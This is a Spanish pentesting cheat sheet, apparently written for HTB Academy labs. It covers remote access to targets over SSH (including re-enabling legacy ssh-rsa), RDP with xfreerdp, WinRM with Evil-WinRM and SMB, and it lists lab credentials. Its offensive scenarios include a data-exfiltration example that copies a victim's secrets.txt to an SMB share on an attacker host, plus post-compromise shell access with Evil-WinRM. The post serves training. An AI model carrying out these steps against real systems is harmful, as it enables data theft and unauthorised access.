2023-07-09 · 4 min

Conexión a Targets Remotos

Acceso remoto a un target: SSH (claves y algoritmos legacy), RDP con xfreerdp, WinRM con Evil-WinRM y SMB.

Conexión a Targets Remotos

Operational Scope & Technical Objective

Establecer una sesión administrativa sobre un target implica seleccionar el protocolo correcto según el sistema operativo y los servicios expuestos: SSH (TCP/22) para hosts Unix/Linux, RDP (TCP/3389) para escritorio Windows, WinRM (TCP/5985 HTTP, 5986 HTTPS) para PowerShell remoto, y SMB (TCP/445) para acceder a recursos compartidos. En entornos legacy, OpenSSH moderno rechaza por defecto algoritmos de host key antiguos (ssh-rsa), lo que obliga a re-habilitarlos explícitamente en el cliente.

High-Impact Syntax & Command Cheatsheet

Comando	Descripción
`xfreerdp /v:<ip> /u:htb-student /p:HTB_@cademy_stdnt!`	Cliente RDP por CLI hacia un target Windows
`evil-winrm -i <ip> -u user -p password`	Sesión PowerShell vía WinRM con Evil-WinRM
`ssh user@<ip>`	Conexión SSH con el usuario especificado
`smbclient -U user //<ip>/SHARENAME`	Lista/abre un share SMB (`\\<ip>\<share>` en forma UNC)
`python3 smbserver.py -smb2support CompData /home/<nameofuser>/Documents/`	Sirve un share SMB desde el host de ataque (impacket) para recibir archivos del target

SSH avanzado

# Conexión básica
ssh <username>@<host ip> -p <port number>

# Hosts legacy: OpenSSH no tiene un algoritmo de host key compatible
# ("no matching host key type found") — re-habilitar ssh-rsa
ssh -p <port> <username>@<host ip> -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa

# Autenticación por clave
ssh -p <port> -i <keyfile> <username>@<host ip>
chmod 600 <keyfile>     # OpenSSH rechaza claves con permisos laxos

Real-World Offensive/Defensive Scenarios

Hosts con OpenSSH antiguo (ofensivo): targets con versiones previas a OpenSSH 7.8 siguen ofreciendo ssh-rsa como host key. Los flags HostKeyAlgorithms=+ssh-rsa y PubkeyAcceptedAlgorithms=+ssh-rsa (OpenSSH 8.8+, por SHA-1 deshabilitado) restauran la compatibilidad en el cliente sin tocar el servidor.
Sesión PowerShell en Windows (ofensivo): con credenciales válidas y WinRM habilitado, evil-winrm entrega una shell PowerShell con historia, carga de scripts y ejecución de archivos — vector estándar tras un compromiso de cuenta AD.
Exfiltración vía SMB (ofensivo): smbserver.py crea un share en el host de ataque; desde el target se copian archivos al share para exfiltrar sin levantar un servidor HTTP:
```
copy C:\Users\victim\secrets.txt \\<atacante>\CompData\
```
Reducción de superficie (defensivo): deshabilitar PermitRootLogin, PasswordAuthentication y mantener los algoritmos de host key actualizados en sshd_config; monitorear conexiones RDP/WinRM entrantes con w/last en Unix y los logs de TerminalServices/WinRM en Windows.